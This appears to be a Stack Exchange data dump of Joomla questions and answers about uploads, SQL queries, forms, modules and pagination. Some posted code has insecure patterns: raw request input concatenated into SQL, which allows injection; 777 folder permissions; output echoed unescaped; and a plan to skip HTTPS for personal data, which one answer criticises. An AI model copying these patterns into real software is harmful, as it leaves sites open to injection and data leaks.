  <row Id="14976" PostTypeId="1" AcceptedAnswerId="14981" CreationDate="2016-01-15T11:04:46.200" Score="1" ViewCount="1276" Body="&lt;p&gt;The error raises whenever I try to upload a file (image) via backend clicking the image button in the tinymce editor. I've also tried to upload going to media manager and it fails and this is the following error message: `&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Warning: Failed to move file!&lt;/strong&gt;&#xA;&lt;strong&gt;Error&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Unable to upload file.&lt;/strong&gt;&#xA;`&#xA;I also have set both components administrator logs and temp folders permissions to 777. Please help me to fix this bug.&lt;/p&gt;&#xA;" OwnerUserId="7551" LastActivityDate="2016-01-16T14:36:21.117" Title="**Warning: Failed to move file!** **Error** **Unable to upload file.**" Tags="|joomla-3.4|file-upload|file-permissions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14977" PostTypeId="1" CreationDate="2016-01-15T11:05:20.643" Score="7" ViewCount="521" Body="&lt;p&gt;Hi I am a newbie in Joomla and want to understand one of the functionalities of the Joomla. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In joomla templates we use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jdoc:include type=&quot;component&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;statement. But I am not able to understand how this functionality has been implemented in Joomla. How passing the component name in url gets rendered by the above statement of Joomla ? Please help me to understand.&lt;/p&gt;&#xA;" OwnerUserId="7619" LastActivityDate="2016-01-18T17:10:51.537" Title="jdoc: include in Joomla" Tags="|joomla-3.x|joomla-2.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14978" PostTypeId="1" AcceptedAnswerId="22801" CreationDate="2016-01-15T13:46:11.090" Score="5" ViewCount="1321" Body="&lt;p&gt;I have the following SQL-query to database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$category_id = $jinput-&amp;gt;get('virtuemart_category_id');&#xA;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query = 'SELECT b.`virtuemart_product_id`,&#xA;    (CASE &#xA;        WHEN b.`product_override_price` &amp;gt; 0 THEN b.`product_override_price`&#xA;        WHEN b.`product_discount_id` &amp;gt; 0 THEN  b.`product_price` - (b.`product_discount_id` * b.`product_price` / 100)&#xA;        WHEN b.`product_price` &amp;lt; 1 THEN 1&#xA;        ELSE b.`product_price` &#xA;        END) as final_price&#xA;    FROM #__virtuemart_product_categories as a&#xA;    LEFT JOIN #__virtuemart_product_prices as b ON b.`virtuemart_product_id` = a.`virtuemart_product_id`&#xA;    AND `virtuemart_category_id` = '.$category_id.'&#xA;    ORDER BY final_price ASC';&#xA;$db-&amp;gt;setQuery($query);&#xA;$rows = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to rewrite the lines with CASE, WHEN ... THEN ... to Joomla-based &quot;format&quot; with filtering like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select('a.virtuemart_product_id');&#xA;$query-&amp;gt;from('#__virtuemart_product_categories AS a');&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('virtuemart_category_id').&quot; = &quot;.$db-&amp;gt;quote($category_id));&#xA;... // ???&#xA;$query-&amp;gt;join('LEFT', '#__virtuemart_...');&#xA;$query-&amp;gt;order('final_price ASC');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4042" LastActivityDate="2019-02-02T12:18:56.960" Title="How to rewrite SQL-query with CASE/WHEN to Joomla-based &quot;format&quot;" Tags="|joomla-3.x|mysql|sql|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14979" PostTypeId="2" ParentId="14973" CreationDate="2016-01-15T14:50:38.907" Score="2" Body="&lt;p&gt;In module parameters, tab Filtering Options, field Count determines number of articles shown, 0 for All&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-01-15T14:50:38.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14980" PostTypeId="1" CreationDate="2016-01-15T15:08:51.413" Score="2" ViewCount="84" Body="&lt;p&gt;I want to develop some functionality: a &quot;3-step-system&quot; which will consist of 3 pages.**&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) In the first page the personal information of his customers will be collected,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) In the second page, customers must answer to some questions,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) In the third page, customers may select some of his products (his list has only 2-3 products to select and they are static products) and then they must pay via PayPal. At the end of the transaction e-mails must be sent to his clients and to himself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All data must be registered in the database (MySQL). There is no need of HTTPS/SSL encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an idea of how to develop this system in pure PHP language (on php script files). But how can I develop this inside Joomla!? Can the Joomla run pure PHP script files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I am forced to make this only as an extension of Joomla!? If so, what kind of extension?&lt;/p&gt;&#xA;" OwnerUserId="7620" LastEditorUserId="159" LastEditDate="2016-01-15T19:34:16.087" LastActivityDate="2016-01-25T08:10:34.483" Title="Question/Advice about PHP code development in Joomla!" Tags="|joomla-3.x|development|joomla-3.4|extensions|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14981" PostTypeId="2" ParentId="14976" CreationDate="2016-01-15T16:03:09.020" Score="0" Body="&lt;p&gt;Did you check your upload user?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are conected with &quot;root&quot; user your files will be with user and group permissions from &quot;root&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you acess files in www you can have this problem because your enviroment uses user from host or nobody user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I holpe this helps. &lt;/p&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="5617" LastEditDate="2016-01-16T14:36:21.117" LastActivityDate="2016-01-16T14:36:21.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14982" PostTypeId="2" ParentId="14980" CreationDate="2016-01-15T16:03:42.927" Score="3" Body="&lt;p&gt;An extension like &lt;a href=&quot;http://www.chronoengine.com/downloads/chronoforms.html&quot; rel=&quot;noreferrer&quot;&gt;&quot;Chronoforms&quot;&lt;/a&gt; helps a lot. You can create forms and questionnaires, connect to the database, work with PayPal, divide the whole form into pages and send e-mails! &lt;/p&gt;&#xA;" OwnerUserId="7621" LastActivityDate="2016-01-15T16:03:42.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14983" PostTypeId="1" AcceptedAnswerId="15197" CreationDate="2016-01-15T16:20:05.373" Score="2" ViewCount="1565" Body="&lt;p&gt;I have tried to search on every Joomla site to find a solution but haven't found a proper result yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created this custom module for my page and I need to display the &quot;corrent&quot; category title. I know I figured out that the original joomla &lt;code&gt;com_content&lt;/code&gt; shows the corrent category by using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('JPATH_BASE') or die;&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;category-name&quot;&amp;gt; &#xA;&#xA;    &amp;lt;?php $title = $this-&amp;gt;escape($displayData['item']-&amp;gt;category_title); ?&amp;gt;&#xA;    &amp;lt;?php if ($displayData['params']-&amp;gt;get('link_category') &amp;amp;&amp;amp; $displayData['item']-&amp;gt;catslug) : ?&amp;gt;&#xA;        &amp;lt;?php echo '&amp;lt;a href=&quot;' . JRoute::_(ContentHelperRoute::getCategoryRoute($displayData['item']-&amp;gt;catslug)) . '&quot; itemprop=&quot;genre&quot; data-toggle=&quot;tooltip&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-folder-open-o&quot;&amp;gt;&amp;lt;/i&amp;gt; ' . $title . '&amp;lt;/a&amp;gt;'; ?&amp;gt;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;        &amp;lt;?php echo '&amp;lt;span itemprop=&quot;genre&quot; itemprop=&quot;genre&quot; data-toggle=&quot;tooltip&quot; title=&quot;' . JText::_('COM_CONTENT_CONTENT_TYPE_CATEGORY') . '&quot;&amp;gt;' . $title . '&amp;lt;/span&amp;gt;'; ?&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to copy/paste it to my module, but it didn't work. I figured out I need to first import Joomla component helper. something like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.application.component.helper');&#xA;$content_params = JComponentHelper::getParams( 'com_content' );&#xA;$show_category = $content_params-&amp;gt;get( 'show_category' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and now I need to display the category title, but I dont know how to do that, can anyone please help me?&lt;/p&gt;&#xA;" OwnerUserId="6918" LastEditorUserId="126" LastEditDate="2016-01-15T16:25:53.013" LastActivityDate="2016-02-04T18:49:57.120" Title="Calling category title params from a com_content" Tags="|joomla-3.x|php|component|com-content|component-params|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14984" PostTypeId="2" ParentId="14980" CreationDate="2016-01-15T19:31:12.253" Score="4" Body="&lt;p&gt;&lt;strong&gt;*First of all, it is generally a bad idea not to use HTTPS when dealing with sensitive data. Also storing the data itself in the database without any encryption may later lead to a leak. You should be the one educating your clients about this stuff. *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to implement everything on your own, I will try to give you a brief description on what you can do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, relying on the build-in MVC model, you can have the following controllers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CustomerInformationController (the form with the customer information)&lt;/li&gt;&#xA;&lt;li&gt;CustomerQuestionnaire&lt;/li&gt;&#xA;&lt;li&gt;CatalogueController or ProductsController (here you select the product)&lt;/li&gt;&#xA;&lt;li&gt;CheckoutController (talks with PayPal and later returns from the PayPal site with a success message, send emails and so...)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And you navigate from controller to controller. The idea is to separate the concerns.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2016-01-24T14:18:13.580" LastActivityDate="2016-01-24T14:18:13.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14986" PostTypeId="1" CreationDate="2016-01-15T23:06:23.453" Score="2" ViewCount="565" Body="&lt;p&gt;Joomla has standart tag search module, when i use it result is list of articles titles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Q8JEk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q8JEk.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to set up a search on the tags so it gave a list of previews of articles with the headline, text and photo like in this creenshot?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ByKlI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ByKlI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7623" LastActivityDate="2016-01-25T09:09:59.033" Title="How to set up tag search in joomla 3x?" Tags="|joomla-3.x|module|extensions|tags|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14987" PostTypeId="1" CreationDate="2016-01-16T05:54:45.540" Score="3" ViewCount="74" Body="&lt;p&gt;Can I tag my site images for Google's &quot;Label for reuse&quot; and such? I appreciate any feedback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Does Meta keywords do anything anymore?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Happy thoughts&lt;/p&gt;&#xA;" OwnerUserId="7625" LastActivityDate="2016-04-04T04:02:19.013" Title="Image Usage Right Tagging" Tags="|joomla-3.x|tags|seo|images|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14988" PostTypeId="2" ParentId="14940" CreationDate="2016-01-16T08:31:26.610" Score="1" Body="&lt;p&gt;Setting the instructions in the yourcomponent.php site entry point will do!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put this commands in the yourcomponent.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$language = JFactory::getLanguage();&#xA;$extension = 'com_yourcomponentname';&#xA;$base_dir = JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'components' . DIRECTORY_SEPARATOR . $extension;&#xA;$language_tag = $language-&amp;gt;getTag(); // loads the current language-tag&#xA;$language-&amp;gt;load($extension, $base_dir, $language_tag, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to load from &lt;code&gt;administrator/languages&lt;/code&gt; use this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$language = JFactory::getLanguage();&#xA;$extension = 'com_yourcomponentname';&#xA;$language_tag = $language-&amp;gt;getTag(); // loads the current language-tag&#xA;$base_dir = JPATH_ADMINISTRATOR;&#xA;$language-&amp;gt;load($extension, $base_dir, $language_tag, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="463" LastEditorUserId="12109" LastEditDate="2018-02-16T21:52:02.467" LastActivityDate="2018-02-16T21:52:02.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14989" PostTypeId="1" AcceptedAnswerId="15101" CreationDate="2016-01-16T16:30:15.203" Score="1" ViewCount="1687" Body="&lt;p&gt;I'm creating a new component and have followed the Joomla 3 MVC tutorial (&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component&quot; rel=&quot;nofollow&quot;&gt;details&lt;/a&gt;) but cannot get pagination to work. Interestingly, when I implement the HelloWorld component linked in that tutorial, its pagination doesn't work either - so I know I haven't missed something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get the pagination footer to display at the bottom of the page, but when I click next/end/an actual page number, it just displays all records and then removes the pagination footer. What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;models/danceregs.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class DanceRegModelDanceRegs extends JModelList&#xA;{&#xA;/**&#xA; * Constructor.&#xA; *&#xA; * @param   array  $config  An optional associative array of configuration settings.&#xA; *&#xA; * @see     JController&#xA; * @since   1.6&#xA; */&#xA;public function __construct($config = array())&#xA;{&#xA;    if (empty($config['filter_fields']))&#xA;    {&#xA;        $config['filter_fields'] = array(&#xA;            'dancer_id','d.dancer_id',&#xA;            'dancer_name','d.dancer_name',&#xA;            'studio', 'd.studio_id',&#xA;            'current_age','d.current_age',&#xA;            'published','d.published'&#xA;        );&#xA;    }&#xA;&#xA;    parent::__construct($config);&#xA;}&#xA;&#xA;/**&#xA; * Method to build an SQL query to load the list data.&#xA; *&#xA; * @return      string  An SQL query&#xA; */&#xA;protected function getListQuery()&#xA;{&#xA;    // Initialize variables.&#xA;    $db    = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;    // Create the base select statement.&#xA;    $query-&amp;gt;select('*, (YEAR(CURDATE())-YEAR(dancer_birthdate)) - (RIGHT(CURDATE(),5)&amp;lt;RIGHT(dancer_birthdate,5)) AS current_age')&#xA;          -&amp;gt;from($db-&amp;gt;quoteName('#__registration_dancers'));&#xA;&#xA;    // Filter: like / search&#xA;    $search = $this-&amp;gt;getState('filter.search');&#xA;&#xA;    if (!empty($search))&#xA;    {&#xA;        $like = $db-&amp;gt;quote('%' . $search . '%');&#xA;        $query-&amp;gt;where('dancer_name LIKE ' . $like);&#xA;    }&#xA;&#xA;    // Filter by studio name&#xA;    $studio_id = $this-&amp;gt;getState('filter.studio_id');&#xA;&#xA;    if (is_numeric($studio_id))&#xA;    {&#xA;        $query-&amp;gt;where('studio_id = ' . (int) $studio_id);&#xA;    }&#xA;    elseif ($studio_id === '')&#xA;    {&#xA;        //$query-&amp;gt;where('(published IN (0, 1))');&#xA;    }&#xA;&#xA;    // Filter by published state&#xA;    $published = $this-&amp;gt;getState('filter.published');&#xA;&#xA;    if (is_numeric($published))&#xA;    {&#xA;        $query-&amp;gt;where('published = ' . (int) $published);&#xA;    }&#xA;    elseif ($published === '')&#xA;    {&#xA;        $query-&amp;gt;where('(published IN (0, 1))');&#xA;    }&#xA;&#xA;    // Add the list ordering clause.&#xA;    $orderCol   = $this-&amp;gt;state-&amp;gt;get('list.ordering', 'dancer_id');&#xA;    $orderDirn  = $this-&amp;gt;state-&amp;gt;get('list.direction', 'desc');&#xA;&#xA;    $query-&amp;gt;order($db-&amp;gt;escape($orderCol) . ' ' . $db-&amp;gt;escape($orderDirn));&#xA;&#xA;    return $query;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;views/danceregs/tmpl/default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;index.php?option=com_dancereg&amp;amp;view=danceregs&quot; method=&quot;post&quot; id=&quot;adminForm&quot; name=&quot;adminForm&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;        &amp;lt;?php echo JText::_('COM_DANCEREG_DANCEREGS_FILTER'); ?&amp;gt;&#xA;        &amp;lt;?php&#xA;            echo JLayoutHelper::render(&#xA;                'joomla.searchtools.default',&#xA;                array('view' =&amp;gt; $this)&#xA;            );&#xA;        ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;table class=&quot;table table-striped table-hover&quot;&amp;gt;&#xA;    &amp;lt;thead&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th width=&quot;2%&quot;&amp;gt;&amp;lt;?php echo JText::_('COM_DANCEREG_NUM'); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th width=&quot;2%&quot;&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('grid.checkall'); ?&amp;gt;&#xA;        &amp;lt;/th&amp;gt;&#xA;        &amp;lt;th width=&quot;30%&quot;&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('grid.sort', 'COM_DANCEREG_DANCEREGS_NAME', 'dancer_name', $listDirn, $listOrder); ?&amp;gt;&#xA;        &amp;lt;/th&amp;gt;&#xA;        &amp;lt;th width=&quot;35%&quot;&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('grid.sort', 'COM_DANCEREG_STUDIO_NAME', 'studio_id', $listDirn, $listOrder); ?&amp;gt;&#xA;        &amp;lt;/th&amp;gt;&#xA;        &amp;lt;th width=&quot;10%&quot;&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('grid.sort', 'DOB_AGE', 'current_age', $listDirn, $listOrder); ?&amp;gt;&#xA;        &amp;lt;/th&amp;gt;&#xA;        &amp;lt;th width=&quot;10%&quot;&amp;gt;&#xA;            &amp;lt;?php echo JText::_('AGE'); ?&amp;gt;&#xA;        &amp;lt;/th&amp;gt;&#xA;        &amp;lt;th width=&quot;5%&quot;&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('grid.sort', 'COM_DANCEREG_PUBLISHED', 'published', $listDirn, $listOrder); ?&amp;gt;&#xA;        &amp;lt;/th&amp;gt;&#xA;        &amp;lt;th width=&quot;7%&quot;&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('grid.sort', 'COM_DANCEREG_ID', 'dancer_id', $listDirn, $listOrder); ?&amp;gt;&#xA;        &amp;lt;/th&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt;&#xA;    &amp;lt;tfoot&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td colspan=&quot;5&quot;&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getListFooter(); ?&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/tfoot&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;&#xA;        &amp;lt;?php if (!empty($this-&amp;gt;items)) : ?&amp;gt;&#xA;            &amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $row) :&#xA;                //$link = JRoute::_('index.php?option=com_dancereg&amp;amp;task=dancereg.edit&amp;amp;id=' . $row-&amp;gt;dancer_id);&#xA;                $link = JRoute::_('index.php?option=com_dancereg&amp;amp;view=dancereg&amp;amp;layout=edit&amp;amp;dancer_id=' . $row-&amp;gt;dancer_id);&#xA;                $studio_link = JRoute::_('index.php?option=com_comprofiler&amp;amp;view=edit&amp;amp;cid=' . $row-&amp;gt;studio_id . '#cbtabpane11');&#xA;            ?&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getRowOffset($i); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&#xA;                        &amp;lt;?php echo JHtml::_('grid.id', $i, $row-&amp;gt;dancer_id); ?&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&#xA;                        &amp;lt;a href=&quot;&amp;lt;?php echo $link; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo JText::_('COM_DANCEREG_EDIT_DANCEREG'); ?&amp;gt;&quot;&amp;gt;&#xA;                            &amp;lt;?php echo $row-&amp;gt;dancer_name; ?&amp;gt;&#xA;                        &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&#xA;                        &amp;lt;a href=&quot;&amp;lt;?php echo $studio_link; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo JText::_('COM_DANCEREG_EDIT_STUDIO'); ?&amp;gt;&quot;&amp;gt;&#xA;                            &amp;lt;?php echo $studdets[$row-&amp;gt;studio_id]; ?&amp;gt;&#xA;                        &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td align=&quot;center&quot;&amp;gt;&#xA;                        &amp;lt;?php echo $row-&amp;gt;current_age; ?&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td align=&quot;center&quot;&amp;gt;&#xA;                        &amp;lt;?php echo $DB_sitekore-&amp;gt;getAge($row-&amp;gt;dancer_birthdate); ?&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td align=&quot;center&quot;&amp;gt;&#xA;                        &amp;lt;?php echo JHtml::_('jgrid.published', $row-&amp;gt;published, $i, 'danceregs.', true, 'cb'); ?&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td align=&quot;center&quot;&amp;gt;&#xA;                        &amp;lt;?php echo $row-&amp;gt;dancer_id; ?&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;&#xA;                &amp;lt;?&#xA;                $clean_dancers = str_replace(',',' ',$row-&amp;gt;dancer_name);&#xA;                $clean_studio = str_replace(',',' ',$studdets[$row-&amp;gt;studio_id]);&#xA;&#xA;                // used for generating our CSV file for Excel&#xA;                $csv_output .= $row-&amp;gt;dancer_id.&quot;,&quot;.$clean_dancers.&quot;,&quot;.$clean_studio.&quot;,&quot;.$row-&amp;gt;current_age.&quot;,&quot;.$DB_sitekore-&amp;gt;getAge($row-&amp;gt;dancer_birthdate)&#xA;                .&quot;,&quot;.$row-&amp;gt;datemodified.&quot;\n&quot;;&#xA;                ?&amp;gt;&#xA;            &amp;lt;?php endforeach; ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;&quot;/&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;boxchecked&quot; value=&quot;0&quot;/&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;filter_order&quot; value=&quot;&amp;lt;?php echo $listOrder; ?&amp;gt;&quot;/&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;filter_order_Dir&quot; value=&quot;&amp;lt;?php echo $listDirn; ?&amp;gt;&quot;/&amp;gt;&#xA;&amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;views/danceregs/view.html.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class DanceRegViewDanceRegs extends JViewLegacy&#xA;{&#xA;/**&#xA; * Display the Dancer Registration view&#xA; *&#xA; * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.&#xA; *&#xA; * @return  void&#xA; */&#xA;function display($tpl = null)&#xA;{&#xA;&#xA;    // Get application&#xA;    $app = JFactory::getApplication();&#xA;    $context = &quot;dancereg.list.admin.dancereg&quot;;&#xA;    // Get data from the model&#xA;    $this-&amp;gt;items        = $this-&amp;gt;get('Items');&#xA;    $this-&amp;gt;pagination   = $this-&amp;gt;get('Pagination');&#xA;    $this-&amp;gt;state        = $this-&amp;gt;get('State');&#xA;    $this-&amp;gt;filter_order = $app-&amp;gt;getUserStateFromRequest($context.'filter_order', 'filter_order', 'dancer_id', 'cmd');&#xA;    $this-&amp;gt;filter_order_Dir = $app-&amp;gt;getUserStateFromRequest($context.'filter_order_Dir', 'filter_order_Dir', 'desc', 'cmd');&#xA;    $this-&amp;gt;filterForm       = $this-&amp;gt;get('FilterForm');&#xA;    $this-&amp;gt;activeFilters    = $this-&amp;gt;get('ActiveFilters');&#xA;&#xA;    // What Access Permissions does this user have? What can (s)he do?&#xA;    $this-&amp;gt;canDo = DanceRegHelper::getActions();&#xA;&#xA;    // Check for errors.&#xA;    if (count($errors = $this-&amp;gt;get('Errors')))&#xA;    {&#xA;        JError::raiseError(500, implode('&amp;lt;br /&amp;gt;', $errors));&#xA;&#xA;        return false;&#xA;    }&#xA;&#xA;    // Set the submenu&#xA;    DanceRegHelper::addSubmenu('danceregs');&#xA;&#xA;    // Set the toolbar and number of found items&#xA;    $this-&amp;gt;addToolBar();&#xA;&#xA;    // Display the template&#xA;    parent::display($tpl);&#xA;&#xA;    // Set the document&#xA;    $this-&amp;gt;setDocument();&#xA;}&#xA;&#xA;/**&#xA; * Add the page title and toolbar.&#xA; *&#xA; * @return  void&#xA; *&#xA; * @since   1.6&#xA; */&#xA;protected function addToolBar()&#xA;{&#xA;    $title = JText::_('COM_DANCEREG_MANAGER_DANCEREGS');&#xA;&#xA;    if ($this-&amp;gt;pagination-&amp;gt;total)&#xA;    {&#xA;        $title .= &quot;&amp;lt;span style='font-size: 0.5em; vertical-align: middle;padding-left:5px;'&amp;gt;(&quot; . $this-&amp;gt;pagination-&amp;gt;total . &quot;)&amp;lt;/span&amp;gt;&quot;;&#xA;    }&#xA;&#xA;    JToolBarHelper::title($title, 'dancereg');&#xA;&#xA;    if ($this-&amp;gt;canDo-&amp;gt;get('core.create')) &#xA;    {&#xA;        JToolBarHelper::addNew('dancereg.add', 'JTOOLBAR_NEW');&#xA;    }&#xA;    if ($this-&amp;gt;canDo-&amp;gt;get('core.edit')) &#xA;    {&#xA;        JToolBarHelper::editList('dancereg.edit', 'JTOOLBAR_EDIT');&#xA;    }&#xA;    if ($this-&amp;gt;canDo-&amp;gt;get('core.delete')) &#xA;    {&#xA;        JToolBarHelper::deleteList('', 'danceregs.delete', 'JTOOLBAR_DELETE');&#xA;    }&#xA;    if ($this-&amp;gt;canDo-&amp;gt;get('core.admin')) &#xA;    {&#xA;        JToolBarHelper::divider();&#xA;        JToolBarHelper::preferences('com_dancereg');&#xA;    }&#xA;}&#xA;/**&#xA; * Method to set up the document properties&#xA; *&#xA; * @return void&#xA; */&#xA;protected function setDocument() &#xA;{&#xA;    $document = JFactory::getDocument();&#xA;    $document-&amp;gt;setTitle(JText::_('COM_DANCEREG_ADMINISTRATION'));&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7590" LastActivityDate="2016-01-28T00:01:13.693" Title="Joomla 3 Backend Pagination Showing Full Results Instead" Tags="|component|view|model|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
